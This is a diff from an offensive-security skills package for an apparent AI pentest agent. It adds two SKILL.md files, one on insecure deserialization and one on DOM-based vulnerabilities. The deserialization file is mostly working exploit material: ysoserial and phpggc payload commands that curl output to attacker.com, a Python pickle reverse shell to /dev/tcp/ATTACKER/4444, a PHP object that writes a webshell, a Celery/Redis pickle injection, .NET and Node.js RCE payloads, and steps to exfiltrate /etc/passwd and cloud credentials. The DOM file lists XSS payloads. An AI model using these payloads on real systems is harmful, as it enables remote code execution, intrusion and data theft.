- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,363 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: deserialization
|
|
5
|
+
description: Insecure deserialization attacks covering Java gadget chains, PHP object injection, Python pickle, .NET, and Node.js
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Insecure Deserialization
|
|
9
|
+
|
|
10
|
+
Deserialization converts stored/transmitted data back into objects. When user-controlled data is deserialized without validation, attackers can supply malicious object graphs that trigger arbitrary code execution during the deserialization process itself.
|
|
11
|
+
|
|
12
|
+
## Attack Surface
|
|
13
|
+
|
|
14
|
+
**Where Serialized Data Appears**
|
|
15
|
+
- HTTP cookies (Base64-encoded Java serialized objects, PHP sessions)
|
|
16
|
+
- JSON/XML body fields typed as `object`, `data`, `payload`, `state`
|
|
17
|
+
- Hidden form fields with Base64 blobs
|
|
18
|
+
- JWT custom claims with embedded objects
|
|
19
|
+
- Message queues (RabbitMQ, Kafka, ActiveMQ) consuming untrusted messages
|
|
20
|
+
- Cache layers (Redis, Memcached) storing deserialized application state
|
|
21
|
+
- API endpoints accepting `Content-Type: application/x-java-serialized-object`
|
|
22
|
+
- RMI/JMX endpoints (Java)
|
|
23
|
+
- `__wakeup` / `__destruct` PHP magic methods triggered on session restore
|
|
24
|
+
- Python pickle in ML model serving, job queues (Celery), session backends
|
|
25
|
+
|
|
26
|
+
## Detection — Identifying Serialized Data
|
|
27
|
+
|
|
28
|
+
| Format | Magic Bytes / Pattern | Language |
|
|
29
|
+
|--------|----------------------|----------|
|
|
30
|
+
| Java serialized | `AC ED 00 05` (hex) / `rO0AB` (Base64) | Java |
|
|
31
|
+
| PHP serialized | `O:4:"User":1:{...}` / `a:2:{...}` | PHP |
|
|
32
|
+
| Python pickle | `\x80\x04` or `\x80\x02` (protocol 4/2) / `cos\nsystem\n` | Python |
|
|
33
|
+
| .NET BinaryFormatter | `00 01 00 00 00 FF FF FF FF` | .NET |
|
|
34
|
+
| .NET JSON.NET | `"$type":"SomeAssembly.Class"` in JSON | .NET |
|
|
35
|
+
| Ruby Marshal | `\x04\x08` | Ruby |
|
|
36
|
+
| Node.js serialize | `{"rce":"_$$ND_FUNC$$_function()..."}` | Node.js |
|
|
37
|
+
| YAML | `!!python/object/apply:os.system` | Python/Ruby |
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
# Quick check — decode cookie and look for magic bytes
|
|
41
|
+
echo "rO0AB..." | base64 -d | xxd | head -2
|
|
42
|
+
# AC ED 00 05 → Java serialized object confirmed
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Java Deserialization
|
|
46
|
+
|
|
47
|
+
### Gadget Chains
|
|
48
|
+
|
|
49
|
+
Java deserialization triggers `readObject()` on deserialized classes. Exploit chains use existing library classes ("gadgets") to reach `Runtime.exec()`.
|
|
50
|
+
|
|
51
|
+
**Common Gadget Libraries (ysoserial)**
|
|
52
|
+
- `CommonsCollections1-7` — Apache Commons Collections (widely used)
|
|
53
|
+
- `Spring1`, `Spring2` — Spring Framework
|
|
54
|
+
- `Hibernate1`, `Hibernate2` — Hibernate ORM
|
|
55
|
+
- `Groovy1` — Groovy scripting
|
|
56
|
+
- `BeanShell1` — BeanShell scripting engine
|
|
57
|
+
- `ROME` — RSS/Atom parsing library
|
|
58
|
+
- `JRMPClient` — Java RMI deserialization trigger
|
|
59
|
+
|
|
60
|
+
### ysoserial Tool
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
# Generate payload (CommonsCollections1 + command)
|
|
64
|
+
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0
|
|
65
|
+
|
|
66
|
+
# Generate and send directly
|
|
67
|
+
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)' | base64 -w0 | python3 -c "
|
|
68
|
+
import sys, urllib.parse
|
|
69
|
+
data = sys.stdin.read().strip()
|
|
70
|
+
print(urllib.parse.quote(data))
|
|
71
|
+
"
|
|
72
|
+
|
|
73
|
+
# Test all gadget chains automatically
|
|
74
|
+
for chain in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 Spring1 Spring2 Groovy1; do
|
|
75
|
+
echo "[*] Testing $chain"
|
|
76
|
+
java -jar ysoserial.jar $chain 'curl http://COLLAB.com/?c='$chain 2>/dev/null | base64 -w0 > /tmp/payload_$chain.b64
|
|
77
|
+
done
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### HTTP Endpoint Detection
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Send Java serialized object to endpoint
|
|
84
|
+
curl -X POST https://target.com/api/deserialize \
|
|
85
|
+
-H "Content-Type: application/x-java-serialized-object" \
|
|
86
|
+
--data-binary @payload.bin
|
|
87
|
+
|
|
88
|
+
# Base64 encoded in JSON body
|
|
89
|
+
payload=$(java -jar ysoserial.jar CommonsCollections6 'curl http://COLLAB.com/cc6' | base64 -w0)
|
|
90
|
+
curl -X POST https://target.com/api/load \
|
|
91
|
+
-H "Content-Type: application/json" \
|
|
92
|
+
-d "{\"data\":\"$payload\"}"
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
### JMX / RMI Exploitation
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
# Scan for open RMI/JMX ports
|
|
99
|
+
nmap -sV -p 1099,4444,8686 target.com
|
|
100
|
+
|
|
101
|
+
# Exploit via ysoserial JRMP
|
|
102
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPClient target.com 1099 CommonsCollections6 'id'
|
|
103
|
+
|
|
104
|
+
# Using beanshooter
|
|
105
|
+
java -jar beanshooter.jar enum target.com 1099
|
|
106
|
+
java -jar beanshooter.jar tonka deploy target.com 1099 --stager-url http://attacker.com/
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### Detection via Error Analysis
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Malformed serialized object → Java stack trace reveals gadget classes
|
|
113
|
+
python3 -c "import base64; print(base64.b64encode(b'AC\xed\x00\x05garbage').decode())"
|
|
114
|
+
# Submit to endpoint and look for ClassNotFoundException, NoSuchMethodError
|
|
115
|
+
# These reveal which libraries are present
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
## PHP Object Injection
|
|
119
|
+
|
|
120
|
+
PHP deserializes objects via `unserialize()`. Magic methods (`__wakeup`, `__destruct`, `__toString`, `__call`) execute automatically on deserialization.
|
|
121
|
+
|
|
122
|
+
### Magic Methods Abuse
|
|
123
|
+
|
|
124
|
+
```php
|
|
125
|
+
# __destruct — executes when object is garbage collected
|
|
126
|
+
class FileDelete {
|
|
127
|
+
public $file;
|
|
128
|
+
function __destruct() { unlink($this->file); }
|
|
129
|
+
}
|
|
130
|
+
# Inject: O:10:"FileDelete":1:{s:4:"file";s:20:"/var/www/config.php";}
|
|
131
|
+
|
|
132
|
+
# __wakeup — executes on unserialize
|
|
133
|
+
class Logger {
|
|
134
|
+
public $logfile;
|
|
135
|
+
public $data;
|
|
136
|
+
function __wakeup() { file_put_contents($this->logfile, $this->data); }
|
|
137
|
+
}
|
|
138
|
+
# Write webshell: O:6:"Logger":2:{s:7:"logfile";s:28:"/var/www/html/shell.php";s:4:"data";s:28:"<?php system($_GET['c']); ?>";}
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
### PHP Gadget Chains (phpggc)
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# List available chains for a framework
|
|
145
|
+
phpggc -l
|
|
146
|
+
phpggc -l | grep Laravel
|
|
147
|
+
phpggc -l | grep Symfony
|
|
148
|
+
|
|
149
|
+
# Generate Laravel RCE chain
|
|
150
|
+
phpggc Laravel/RCE1 system id
|
|
151
|
+
phpggc Laravel/RCE5 'system' 'id' --base64
|
|
152
|
+
phpggc Symfony/RCE4 exec 'curl http://attacker.com/$(id)' -b
|
|
153
|
+
|
|
154
|
+
# Generate and URL-encode
|
|
155
|
+
phpggc Laravel/RCE7 system id -u
|
|
156
|
+
|
|
157
|
+
# Test all available chains
|
|
158
|
+
phpggc -l | awk '{print $1}' | while read chain; do
|
|
159
|
+
phpggc $chain system id 2>/dev/null && echo "[$chain] works"
|
|
160
|
+
done
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### PHP Session Deserialization
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# PHP sessions use serialize() by default
|
|
167
|
+
# PHPSESSID cookie → /tmp/sess_XXXX file → unserialize() on load
|
|
168
|
+
# Inject malicious object via registration/profile fields stored in session
|
|
169
|
+
|
|
170
|
+
# Example: user-controlled session data
|
|
171
|
+
# POST /login with username=O:8:"UserPref":1:{s:7:"command";s:2:"id";}
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
## Python Pickle
|
|
175
|
+
|
|
176
|
+
Python's `pickle` module executes arbitrary code during deserialization via `__reduce__`.
|
|
177
|
+
|
|
178
|
+
### Basic Pickle RCE
|
|
179
|
+
|
|
180
|
+
```python
|
|
181
|
+
import pickle, os, base64
|
|
182
|
+
|
|
183
|
+
class RCE:
|
|
184
|
+
def __reduce__(self):
|
|
185
|
+
return (os.system, ('curl http://attacker.com/$(id)',))
|
|
186
|
+
|
|
187
|
+
payload = base64.b64encode(pickle.dumps(RCE())).decode()
|
|
188
|
+
print(payload)
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### Reverse Shell via Pickle
|
|
192
|
+
|
|
193
|
+
```python
|
|
194
|
+
import pickle, base64
|
|
195
|
+
|
|
196
|
+
class Shell:
|
|
197
|
+
def __reduce__(self):
|
|
198
|
+
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
|
|
199
|
+
return (__import__('os').system, (cmd,))
|
|
200
|
+
|
|
201
|
+
print(base64.b64encode(pickle.dumps(Shell())).decode())
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
### Common Targets
|
|
205
|
+
|
|
206
|
+
```bash
|
|
207
|
+
# Celery task queues — Redis/RabbitMQ backend with pickle
|
|
208
|
+
# Flask sessions (if SECRET_KEY known) using itsdangerous with pickle
|
|
209
|
+
# MLflow model serving — pickle-based model loading
|
|
210
|
+
# Scikit-learn models served via API
|
|
211
|
+
# Python job schedulers (APScheduler, RQ)
|
|
212
|
+
|
|
213
|
+
# Celery RCE via pickle in Redis backend
|
|
214
|
+
python3 -c "
|
|
215
|
+
import pickle, redis, base64
|
|
216
|
+
class Exploit:
|
|
217
|
+
def __reduce__(self):
|
|
218
|
+
return (eval, ('__import__(\"os\").popen(\"id\").read()',))
|
|
219
|
+
r = redis.Redis('target.com', 6379)
|
|
220
|
+
r.lpush('celery', pickle.dumps(Exploit()))
|
|
221
|
+
"
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
### PyYAML Deserialization
|
|
225
|
+
|
|
226
|
+
```python
|
|
227
|
+
# YAML with !!python/object tags
|
|
228
|
+
yaml_payload = "!!python/object/apply:os.system ['id']"
|
|
229
|
+
# Or more complex
|
|
230
|
+
yaml_payload = """
|
|
231
|
+
!!python/object/new:subprocess.Popen
|
|
232
|
+
args: [['id']]
|
|
233
|
+
kwds: {shell: true}
|
|
234
|
+
"""
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
## .NET Deserialization
|
|
238
|
+
|
|
239
|
+
### BinaryFormatter
|
|
240
|
+
|
|
241
|
+
```bash
|
|
242
|
+
# Generate with ysoserial.net
|
|
243
|
+
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
|
|
244
|
+
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -o base64 -c "cmd /c whoami"
|
|
245
|
+
|
|
246
|
+
# ObjectStateFormatter (ViewState)
|
|
247
|
+
ysoserial.exe -f ObjectStateFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
### ViewState (.NET WebForms)
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
# Forge malicious ViewState if MAC validation disabled or key known
|
|
254
|
+
# Check: __VIEWSTATEMAC hidden field, X-ViewState-Validation-Key header
|
|
255
|
+
|
|
256
|
+
# Using ysoserial.net for ViewState
|
|
257
|
+
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > c:\inetpub\wwwroot\out.txt" --generator=BEEFBEEF --viewstateuserkey=KEY --islegacy
|
|
258
|
+
|
|
259
|
+
# Detect MAC disabled: send modified ViewState, look for no error vs MAC error
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
### JSON.NET TypeNameHandling
|
|
263
|
+
|
|
264
|
+
```json
|
|
265
|
+
# When TypeNameHandling is All or Objects, inject $type
|
|
266
|
+
{
|
|
267
|
+
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
|
|
268
|
+
"MethodName": "Start",
|
|
269
|
+
"ObjectInstance": {
|
|
270
|
+
"$type": "System.Diagnostics.Process, System",
|
|
271
|
+
"StartInfo": {
|
|
272
|
+
"$type": "System.Diagnostics.ProcessStartInfo, System",
|
|
273
|
+
"FileName": "cmd.exe",
|
|
274
|
+
"Arguments": "/c whoami > c:\\output.txt"
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
}
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
## Node.js Deserialization
|
|
281
|
+
|
|
282
|
+
### node-serialize Package
|
|
283
|
+
|
|
284
|
+
```javascript
|
|
285
|
+
// Payload for node-serialize (IIFE in _$$ND_FUNC$$_)
|
|
286
|
+
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}
|
|
287
|
+
|
|
288
|
+
// Base64 encode and inject into cookie
|
|
289
|
+
const payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl http://attacker.com/\'+require(\'os\').hostname())}()"}';
|
|
290
|
+
Buffer.from(payload).toString('base64')
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
### cryo / marshal npm packages
|
|
294
|
+
|
|
295
|
+
```javascript
|
|
296
|
+
// Similar IIFE-based payloads work for other serialize/deserialize packages
|
|
297
|
+
// Check package.json for: serialize, marshal, cryo, node-serialize, funcster
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
## Testing Methodology
|
|
301
|
+
|
|
302
|
+
1. **Identify serialized data** — check all cookies, body params, headers for magic bytes
|
|
303
|
+
2. **Decode and inspect** — `base64 -d | xxd` to confirm format
|
|
304
|
+
3. **Determine language/framework** — error messages, headers, file extensions
|
|
305
|
+
4. **Select gadget tool** — ysoserial (Java), phpggc (PHP), custom pickle (Python)
|
|
306
|
+
5. **Generate DNS callback payload** — confirm deserialization without needing RCE first
|
|
307
|
+
6. **Escalate to RCE** — try multiple gadget chains, observe Collaborator/interactsh callbacks
|
|
308
|
+
7. **Execute and exfiltrate** — `id`, `whoami`, `/etc/passwd`, env vars, cloud metadata
|
|
309
|
+
|
|
310
|
+
```bash
|
|
311
|
+
# Step 1: Detect Java serialized cookie
|
|
312
|
+
echo $COOKIE | base64 -d | xxd | head -1
|
|
313
|
+
# Expected: 0000000: aced 0005 ...
|
|
314
|
+
|
|
315
|
+
# Step 2: Generate DNS callback payload to confirm
|
|
316
|
+
java -jar ysoserial.jar CommonsCollections6 'nslookup UNIQUE.attacker.com' | base64 -w0
|
|
317
|
+
|
|
318
|
+
# Step 3: Try RCE if callback received
|
|
319
|
+
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)' | base64 -w0
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
## Blind Deserialization (No Output)
|
|
323
|
+
|
|
324
|
+
```bash
|
|
325
|
+
# Use OOB channels to confirm RCE
|
|
326
|
+
# 1. DNS callback
|
|
327
|
+
'nslookup $(id).COLLAB.burpcollaborator.net'
|
|
328
|
+
# 2. HTTP callback
|
|
329
|
+
'curl http://COLLAB.burpcollaborator.net/$(id|base64)'
|
|
330
|
+
# 3. Write file
|
|
331
|
+
'echo RCE > /tmp/rce_proof.txt'
|
|
332
|
+
# 4. Time-based (last resort)
|
|
333
|
+
'sleep 5'
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
## Validation
|
|
337
|
+
|
|
338
|
+
1. Achieve `id` command execution via OOB DNS/HTTP callback with output in domain label
|
|
339
|
+
2. Read `/etc/passwd` exfiltrated via HTTP GET
|
|
340
|
+
3. Write a proof file to web root if accessible
|
|
341
|
+
4. Demonstrate with exact serialized payload (reproducible)
|
|
342
|
+
|
|
343
|
+
## Impact
|
|
344
|
+
|
|
345
|
+
- Remote code execution as application user
|
|
346
|
+
- Container/VM escape if running privileged
|
|
347
|
+
- Cloud credential theft via metadata endpoint access
|
|
348
|
+
- Lateral movement to internal services via deserialized SSRF primitives
|
|
349
|
+
|
|
350
|
+
## Pro Tips
|
|
351
|
+
|
|
352
|
+
1. Always try DNS callback first — many environments block outbound HTTP but not DNS
|
|
353
|
+
2. Try all gadget chains — library versions vary, one chain may work while others fail
|
|
354
|
+
3. For Java: `SerializationDumper` reveals the object graph, helping identify available classes
|
|
355
|
+
4. PHP `__wakeup`/`__destruct` chains are often more reliable than complex gadget chains
|
|
356
|
+
5. Python pickle is always RCE — no gadget chains needed, `__reduce__` is universal
|
|
357
|
+
6. Check `robots.txt`, error pages, and job queue configurations for pickle/Java hints
|
|
358
|
+
7. Node.js `eval` in deserializers is the equivalent of pickle — any function call is RCE
|
|
359
|
+
8. For .NET ViewState: use `Padding Oracle` attacks to forge valid MACs without key
|
|
360
|
+
|
|
361
|
+
## Summary
|
|
362
|
+
|
|
363
|
+
Deserialization is language-specific but follows the same pattern: user-controlled binary/text data reconstructs server objects. Java requires gadget chains via ysoserial; PHP uses magic method chains via phpggc; Python pickle is always trivially exploitable. Always confirm with DNS callback before claiming RCE.
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# DOM-Based Vulnerabilities
|
|
4
|
+
|
|
5
|
+
## Overview
|
|
6
|
+
DOM-based vulnerabilities happen when client-side JavaScript reads attacker-controlled
|
|
7
|
+
input (sources) and writes it to dangerous sinks without proper sanitization.
|
|
8
|
+
This can lead to DOM XSS, open redirects, HTML injection, or data exfiltration.
|
|
9
|
+
|
|
10
|
+
## Prerequisites
|
|
11
|
+
```bash
|
|
12
|
+
# Optional: Burp DOM Invader extension
|
|
13
|
+
# Optional: browser devtools
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
## Phase 1: Identify Sources & Sinks
|
|
17
|
+
```bash
|
|
18
|
+
# Common sources
|
|
19
|
+
# - location (href, search, hash)
|
|
20
|
+
# - document.referrer
|
|
21
|
+
# - window.name
|
|
22
|
+
# - localStorage / sessionStorage
|
|
23
|
+
# - postMessage events
|
|
24
|
+
|
|
25
|
+
# Common sinks
|
|
26
|
+
# - innerHTML / outerHTML
|
|
27
|
+
# - document.write / writeln
|
|
28
|
+
# - eval / setTimeout / setInterval
|
|
29
|
+
# - location.assign / location.replace
|
|
30
|
+
# - jQuery.html / jQuery.append
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
## Phase 2: Quick Source Discovery
|
|
34
|
+
```bash
|
|
35
|
+
# Look for URLs that include user input in the DOM
|
|
36
|
+
# Example test URL
|
|
37
|
+
# https://TARGET/page?name=TEST#hash=TEST
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
## Phase 3: DOM XSS Payloads
|
|
41
|
+
```bash
|
|
42
|
+
cat > /workspace/output/TARGET_domxss_payloads.txt <<'PAYLOADS'
|
|
43
|
+
"><img src=x onerror=alert(1)>
|
|
44
|
+
"><svg/onload=alert(1)>
|
|
45
|
+
</script><script>alert(1)</script>
|
|
46
|
+
PAYLOADS
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
## Phase 4: DOM Clobbering
|
|
50
|
+
```bash
|
|
51
|
+
# Inject elements that override DOM properties
|
|
52
|
+
# Example:
|
|
53
|
+
# <form id="action"></form>
|
|
54
|
+
# If code uses: document.action
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## Phase 5: postMessage Testing
|
|
58
|
+
```bash
|
|
59
|
+
# If app listens to postMessage, test origin validation
|
|
60
|
+
# In browser console (target page open):
|
|
61
|
+
# window.postMessage({type:'test', data:'<img src=x onerror=alert(1)>'}, '*')
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
## Phase 6: Storage-Based Injection
|
|
65
|
+
```bash
|
|
66
|
+
# If app reads from localStorage/sessionStorage
|
|
67
|
+
# Set a payload and reload
|
|
68
|
+
# localStorage.setItem('key', '<img src=x onerror=alert(1)>')
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
## Phase 7: DOM-Based Open Redirect
|
|
72
|
+
```bash
|
|
73
|
+
# Check for client-side redirects
|
|
74
|
+
# Examples:
|
|
75
|
+
# https://TARGET/redirect?next=https://ATTACKER
|
|
76
|
+
# https://TARGET/#next=https://ATTACKER
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## Report Template
|
|
80
|
+
|
|
81
|
+
```
|
|
82
|
+
Target: TARGET
|
|
83
|
+
Assessment Date: <DATE>
|
|
84
|
+
|
|
85
|
+
## Confirmed Findings
|
|
86
|
+
- [ ] DOM XSS via source → sink
|
|
87
|
+
- [ ] postMessage origin validation missing
|
|
88
|
+
- [ ] Storage-based injection
|
|
89
|
+
- [ ] DOM-based open redirect
|
|
90
|
+
|
|
91
|
+
## Evidence
|
|
92
|
+
- Payloads: /workspace/output/TARGET_domxss_payloads.txt
|
|
93
|
+
- Repro steps: <steps>
|
|
94
|
+
|
|
95
|
+
## Recommendations
|
|
96
|
+
1. Use safe sinks (textContent) or robust sanitization
|
|
97
|
+
2. Validate postMessage origin and schema
|
|
98
|
+
3. Avoid constructing HTML/JS from untrusted input
|
|
99
|
+
4. Enforce allowlists for redirects
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
## Output Files
|
|
103
|
+
